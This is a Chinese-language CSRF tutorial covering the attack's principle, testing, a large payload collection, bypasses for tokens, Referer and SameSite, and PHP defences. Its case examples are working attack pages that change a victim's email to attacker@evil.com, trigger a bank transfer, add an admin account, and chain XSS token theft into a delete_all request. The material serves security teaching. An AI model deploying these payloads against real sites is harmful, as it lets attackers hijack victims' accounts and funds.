CSRF 漏洞详解
漏洞概述
CSRF(Cross-Site Request Forgery)跨站请求伪造,攻击者诱导用户在已登录状态下执行非预期操作。
OWASP Top 10: A01:2021
危害等级: ⭐⭐⭐⭐
漏洞原理
用户登录目标网站后,攻击者诱导用户访问恶意页面,利用用户的 Cookie 发起请求:
用户 → 登录 target.com → 获得 Cookie
用户 → 访问 attacker.com → 自动向 target.com 发起请求
target.com → 验证 Cookie 有效 → 执行操作漏洞检测
基础测试
<!-- 测试 CSRF -->
<form action="http://target.com/change_email" method="POST">
<input type="hidden" name="email" value="attacker@evil.com">
<input type="submit" value="Click Me">
</form>
<!-- 如果提交成功,说明存在 CSRF -->检查防护措施
1. 检查是否有 CSRF Token
2. 检查 Referer/Origin 验证
3. 检查 SameSite Cookie 属性
4. 检查是否需要用户交互Payload 大全
GET 请求 CSRF
<!-- 图片标签 -->
<img src="http://target.com/delete_user?id=123" width="1" height="1">
<!-- iframe -->
<iframe src="http://target.com/delete_user?id=123" width="1" height="1"></iframe>
<!-- link 标签 -->
<link rel="prefetch" href="http://target.com/delete_user?id=123">POST 请求 CSRF
<!-- 自动提交表单 -->
<body onload="document.forms[0].submit()">
<form action="http://target.com/change_password" method="POST">
<input type="hidden" name="password" value="hacker123">
<input type="hidden" name="confirm" value="hacker123">
</form>
</body>
<!-- JavaScript 提交 -->
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://target.com/api/transfer", true);
xhr.withCredentials = true;
xhr.send("amount=1000&to=attacker");
</script>JSON 请求 CSRF
<!-- fetch API -->
<script>
fetch("http://target.com/api/update", {
method: "POST",
credentials: "include",
headers: {
"Content-Type": "application/json"
},
body: JSON.stringify({
"email": "attacker@evil.com"
})
});
</script>
<!-- form + enctype -->
<form action="http://target.com/api/update" method="POST" enctype="text/plain">
<input type="hidden" name='{"email":"attacker@evil.com","x":"' value='"}'>
</form>绕过技巧
CSRF Token 绕过
<!-- 使用受害者 Token -->
<!-- 攻击者无法获取 Token,需要其他漏洞配合 -->
<!-- Token 与用户无关 -->
<!-- 使用自己注册的账号获取 Token -->
<!-- Token 验证不严格 -->
<input type="hidden" name="csrf_token" value="">
<input type="hidden" name="csrf_token" value="null">
<input type="hidden" name="csrf_token" value="undefined">Referer 绕过
<!-- 删除 Referer -->
<meta name="referrer" content="never">
<!-- Referer 子域名绕过 -->
Referer: http://attacker.attacker-target.com/
<!-- Referer 为空时不验证 -->
<!-- 使用 meta 标签删除 Referer -->SameSite 绕过
<!-- SameSite=Lax 可被 POST 绕过 -->
<!-- SameSite=Strict 较难绕过 -->
<!-- 使用子域名 -->
http://attacker.target.com/
<!-- 使用 302 重定向 -->
http://attacker.com/redirect → http://target.com/action实战案例
案例 1: 修改邮箱
<form action="http://target.com/account/change_email" method="POST">
<input type="hidden" name="email" value="attacker@evil.com">
<input type="hidden" name="confirm" value="attacker@evil.com">
<input type="submit" value="View Image">
</form>案例 2: 转账攻击
<script>
var img = new Image();
img.src = "http://bank.com/transfer?to=attacker&amount=1000";
document.body.appendChild(img);
</script>案例 3: 添加管理员
<form action="http://target.com/admin/add_user" method="POST">
<input type="hidden" name="username" value="hacker">
<input type="hidden" name="password" value="hacker123">
<input type="hidden" name="role" value="admin">
</form>案例 4: XSS + CSRF
<!-- 先 XSS 获取 Token,再 CSRF -->
<script>
fetch("http://target.com/form").then(r => r.text()).then(html => {
var token = html.match(/name="csrf_token" value="([^"]+)"/)[1];
fetch("http://target.com/action", {
method: "POST",
credentials: "include",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
body: `csrf_token=${token}&action=delete_all`
});
});
</script>防御建议
CSRF Token
// 生成 Token
session_start();
$token = bin2hex(random_bytes(32));
$_SESSION['csrf_token'] = $token;
// 验证 Token
if (!hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'])) {
die('CSRF validation failed');
}SameSite Cookie
// PHP 7.3+
setcookie('session', $value, [
'samesite' => 'Strict',
'secure' => true,
'httponly' => true
]);Referer 验证
// 验证 Referer
$referer = $_SERVER['HTTP_REFERER'] ?? '';
if (strpos($referer, 'https://target.com/') !== 0) {
die('Invalid referer');
}用户交互
<!-- 关键操作需要用户确认 -->
<input type="checkbox" name="confirm" required>
我确认要执行此操作